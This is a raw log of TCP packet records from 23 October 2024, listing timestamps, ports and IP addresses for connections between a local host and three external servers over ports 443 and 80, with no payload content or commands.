Oct 23, 2024 15:48:06.163995028 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.164045095 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.164086103 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.164117098 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.164139032 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.172579050 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.172657967 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.179136038 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.179204941 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.179224014 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.179308891 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.179378033 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.179730892 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.179769993 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.179795980 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.179810047 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.219393015 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:06.219501972 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:06.219583035 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:06.219871998 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:06.219906092 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:06.857954025 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:06.858206987 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:06.860516071 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:06.860546112 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:06.860836029 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:06.861954927 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:06.861994028 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:06.862035990 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.000861883 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.000986099 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.001056910 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.001063108 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.001137018 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.001200914 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.005620003 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.005830050 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.005897045 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.005953074 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.005953074 CEST	49705	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.005994081 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.006017923 CEST	443	49705	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.058723927 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.058773994 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.058850050 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.059091091 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.059111118 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.672166109 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.672261000 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.673516989 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.673532009 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.673784971 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:07.674925089 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.674981117 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:07.675036907 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.158344030 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.158406973 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.158428907 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.158457041 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.158463955 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.158477068 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.158500910 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.158510923 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.158531904 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.158550024 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.158564091 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.158600092 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.158607960 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.206341028 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.206352949 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.253093004 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.276077032 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.276160955 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.276181936 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.276206970 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.276269913 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.276282072 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.276294947 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.276297092 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.276341915 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.276628017 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.276645899 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.276655912 CEST	49706	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.276659966 CEST	443	49706	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.381807089 CEST	49707	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.381865025 CEST	443	49707	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.381967068 CEST	49707	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.382318020 CEST	49707	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.382337093 CEST	443	49707	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.994693995 CEST	443	49707	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.994765997 CEST	49707	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.995992899 CEST	49707	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.996005058 CEST	443	49707	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.996321917 CEST	443	49707	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:08.997505903 CEST	49707	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.997668982 CEST	49707	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:08.997701883 CEST	443	49707	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:09.540889978 CEST	443	49707	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:09.541143894 CEST	443	49707	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:09.541224957 CEST	49707	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:09.542021036 CEST	49707	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:09.542069912 CEST	443	49707	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:09.630487919 CEST	49708	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:09.630553007 CEST	443	49708	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:09.630647898 CEST	49708	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:09.631000042 CEST	49708	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:09.631019115 CEST	443	49708	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:10.246301889 CEST	443	49708	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:10.246488094 CEST	49708	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:10.247651100 CEST	49708	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:10.247667074 CEST	443	49708	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:10.247998953 CEST	443	49708	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:10.249104977 CEST	49708	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:10.249258995 CEST	49708	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:10.249299049 CEST	443	49708	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:10.249358892 CEST	49708	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:10.249367952 CEST	443	49708	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:10.799420118 CEST	443	49708	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:10.799670935 CEST	49708	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:10.993134975 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:10.993236065 CEST	443	49709	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:10.993333101 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:10.993638039 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:10.993666887 CEST	443	49709	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:11.601445913 CEST	443	49709	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:11.601571083 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:11.602689981 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:11.602719069 CEST	443	49709	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:11.603127956 CEST	443	49709	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:11.604190111 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:11.604319096 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:11.604360104 CEST	443	49709	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:11.604445934 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:11.604460955 CEST	443	49709	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:12.289674997 CEST	443	49709	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:12.289906979 CEST	443	49709	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:12.289967060 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:12.290105104 CEST	49709	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:12.663443089 CEST	49710	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:12.663485050 CEST	443	49710	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:12.663577080 CEST	49710	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:12.663860083 CEST	49710	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:12.663877010 CEST	443	49710	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:13.284873009 CEST	443	49710	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:13.284998894 CEST	49710	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:13.291718960 CEST	49710	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:13.291757107 CEST	443	49710	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:13.291991949 CEST	443	49710	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:13.293068886 CEST	49710	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:13.293159962 CEST	49710	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:13.293169022 CEST	443	49710	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:13.832331896 CEST	443	49710	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:13.832448006 CEST	443	49710	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:13.832540989 CEST	49710	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:13.832567930 CEST	49710	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.357928991 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.358038902 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.358138084 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.358464956 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.358498096 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.974261045 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.974378109 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.975975990 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.976005077 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.976418018 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.977607012 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.978312016 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.978357077 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.978499889 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.978547096 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.978682041 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.978754997 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.978904963 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.978956938 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.979152918 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.979221106 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.979418993 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.979475021 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.979501963 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.979536057 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.979691029 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.979737043 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.979779005 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.979885101 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.979954958 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.989931107 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.990176916 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.990248919 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.990268946 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.990307093 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.990312099 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:14.990348101 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:14.990623951 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:16.631948948 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:16.632160902 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:16.632246017 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:16.632658958 CEST	49711	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:16.632704020 CEST	443	49711	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:16.646481037 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:16.646529913 CEST	443	49712	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:16.646605968 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:16.647054911 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:16.647070885 CEST	443	49712	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:17.288423061 CEST	443	49712	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:17.288764954 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:17.289731979 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:17.289762020 CEST	443	49712	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:17.290793896 CEST	443	49712	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:17.291982889 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:17.292026997 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:17.292169094 CEST	443	49712	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:17.626456022 CEST	443	49712	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:17.626723051 CEST	443	49712	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:17.626926899 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:17.626926899 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:17.627007961 CEST	49712	443	192.168.2.5	172.67.206.204
Oct 23, 2024 15:48:17.627048016 CEST	443	49712	172.67.206.204	192.168.2.5
Oct 23, 2024 15:48:17.671241045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:17.676836967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:17.677056074 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:17.677263021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:17.682589054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576363087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576411009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576451063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576486111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576503992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.576519012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576555967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576591015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576607943 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.576607943 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.576632023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576661110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576675892 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.576751947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.576814890 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.582078934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.582113981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.582149029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.582171917 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.582182884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.582232952 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.729486942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.729510069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.729521036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.729531050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.729660034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.729672909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.729685068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.729697943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.729715109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.729820967 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.729820967 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.729820967 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.729820967 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.730479956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.730519056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.730530024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.730577946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.730590105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.730655909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.730655909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.730655909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.731380939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.731391907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.731401920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.731461048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.731471062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.731470108 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.731564045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.732158899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.732208967 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.732211113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.732223988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.732235909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.732263088 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.784502029 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.882491112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882534981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882595062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882600069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.882631063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882677078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882678032 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.882708073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882755995 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.882800102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882853985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882888079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882905960 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.882940054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882973909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.882992029 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.883009911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.883047104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.883055925 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.883719921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.883822918 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.883866072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.883918047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.883955002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.883971930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.883991003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.884042978 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.884294033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.884346962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.884397030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.884401083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.884435892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.884469032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.884484053 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.884505987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.884568930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.885082006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.885134935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.885184050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.885186911 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.885235071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.885268927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.885287046 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.885304928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.885339022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.885361910 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.886039972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.886074066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.886091948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.886126041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.886158943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.886177063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.886193991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.886226892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.886245012 CEST	49713	80	192.168.2.5	185.215.113.16
